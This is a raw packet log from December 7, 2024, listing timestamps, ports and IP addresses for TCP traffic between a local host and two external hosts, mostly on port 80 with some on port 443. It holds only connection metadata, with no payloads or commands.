Dec 7, 2024 18:27:03.763835907 CET	443	49835	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.771508932 CET	49838	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.771523952 CET	443	49838	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.771853924 CET	49835	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.771872997 CET	443	49835	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.772289038 CET	49835	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.772298098 CET	443	49835	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.820617914 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.820735931 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.820755005 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.820795059 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.821177006 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.821225882 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.821436882 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.821480989 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.822201967 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.822251081 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.822428942 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.822473049 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.823430061 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.823481083 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.823611975 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.823658943 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.824322939 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.824383974 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.824590921 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.824636936 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.825417042 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.825462103 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.825630903 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.825675011 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.826468945 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.826517105 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.826586008 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.826630116 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.827721119 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.827778101 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.827975035 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.828021049 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.828577995 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.828624010 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.828775883 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.828823090 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.829696894 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.829746962 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.829778910 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.829817057 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.830683947 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.830732107 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.830899954 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.830950975 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.831759930 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.831804991 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.831876040 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.831921101 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.832864046 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.832910061 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.833060026 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.833105087 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.833997965 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.834045887 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.834079981 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.834120989 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.835067034 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.835119009 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.835184097 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.835227966 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.836054087 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.836105108 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.836136103 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.836178064 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.837090969 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.837141037 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.837352037 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.837397099 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.838206053 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.838249922 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.838283062 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.838318110 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.839188099 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.839236975 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.839351892 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.839397907 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.840338945 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.840389967 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.840424061 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.840464115 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.841413975 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.841463089 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.841655016 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.841700077 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.842475891 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.842523098 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.842668056 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.842715979 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.843425035 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.843472958 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.843796968 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.843844891 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.844602108 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.844650030 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.844650984 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.844690084 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.845550060 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.845596075 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.845720053 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.845762968 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.846616983 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.846662045 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.846721888 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.846765995 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.847686052 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.847733974 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.847825050 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.847867966 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.848731995 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.848783970 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.849033117 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.849076986 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.849796057 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.849843979 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.850003004 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.850052118 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.850908041 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.850953102 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.851058960 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.851104021 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.851942062 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.851989985 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.852060080 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.852104902 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.853035927 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.853081942 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.853111982 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.853152037 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.854101896 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.854159117 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.854264021 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.854307890 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.855138063 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.855184078 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.855344057 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.855391026 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.856165886 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.856213093 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.856415033 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.856461048 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.857206106 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.857251883 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.857367039 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.857409954 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.858280897 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.858330011 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.858462095 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.858505011 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.859333038 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.859380007 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.859464884 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.859508038 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.860390902 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.860440016 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.860527992 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.860572100 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.861469984 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.861520052 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.861592054 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.861639023 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.862514019 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.862561941 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.862740993 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.862787008 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.863590956 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.863641024 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.863702059 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.863745928 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.864780903 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.864830971 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.864839077 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.864872932 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.865716934 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.865766048 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.865910053 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.865957022 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.910864115 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.910919905 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.910940886 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.910958052 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.911125898 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.911170959 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.911345005 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.911389112 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.912173033 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.912214994 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.912271976 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.912312031 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.913208008 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.913255930 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.913316011 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.913358927 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.914303064 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.914347887 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.914380074 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.914419889 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.915101051 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.915148973 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.915199041 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.915251017 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.916143894 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.916193008 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.916496992 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.916544914 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.917221069 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.917269945 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.917320967 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.917361975 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.918350935 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.918399096 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.918538094 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.918581009 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.919353962 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.919404984 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.919502020 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.919544935 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.920516014 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.920567036 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.920658112 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.920702934 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.921413898 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.921469927 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.921576977 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.921622038 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.922452927 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.922504902 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.922662973 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.922709942 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.923561096 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.923609972 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.923757076 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.923801899 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.924626112 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.924688101 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.924793959 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.924839020 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.925683975 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.925739050 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.925789118 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.925827026 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.926734924 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.926784039 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.926948071 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.926991940 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.927826881 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.927874088 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.927906990 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.927949905 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.928889036 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.928945065 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.929327965 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.929374933 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.929990053 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.930042028 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.930075884 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.930124044 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.930699110 CET	443	49834	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.930990934 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.931037903 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.931443930 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.931489944 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.932054996 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.932101011 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.932262897 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.932308912 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.933120012 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.933168888 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.933516979 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.933568001 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.933624029 CET	443	49834	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.933686018 CET	49834	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.933741093 CET	49834	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.933760881 CET	443	49834	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.933770895 CET	49834	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.933777094 CET	443	49834	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.934257984 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.934326887 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.934730053 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.934779882 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.935333014 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.935381889 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.936048985 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.936101913 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.936331034 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.936384916 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.936675072 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.936697960 CET	49839	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.936718941 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.936728954 CET	443	49839	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.936794043 CET	49839	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.936961889 CET	49839	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:27:03.936971903 CET	443	49839	13.107.246.63	192.168.2.7
Dec 7, 2024 18:27:03.937484980 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.937531948 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.937613964 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.937654018 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.938405037 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.938452959 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.938575029 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.938623905 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.939500093 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.939548016 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.939604998 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.939647913 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.940604925 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.940654993 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.940721035 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.940766096 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.941631079 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.941678047 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.941740036 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.941781998 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.942651033 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.942696095 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.942780972 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.942822933 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.943768024 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.943820000 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.943924904 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.943984032 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.944911003 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.944957972 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.944988012 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.945027113 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.945847034 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.945893049 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.945971012 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.946016073 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.947025061 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.947073936 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.947216034 CET	80	49831	185.215.113.16	192.168.2.7
Dec 7, 2024 18:27:03.947259903 CET	49831	80	192.168.2.7	185.215.113.16
Dec 7, 2024 18:27:03.947932959 CET	80	49831	185.215.113.16	192.168.2.7
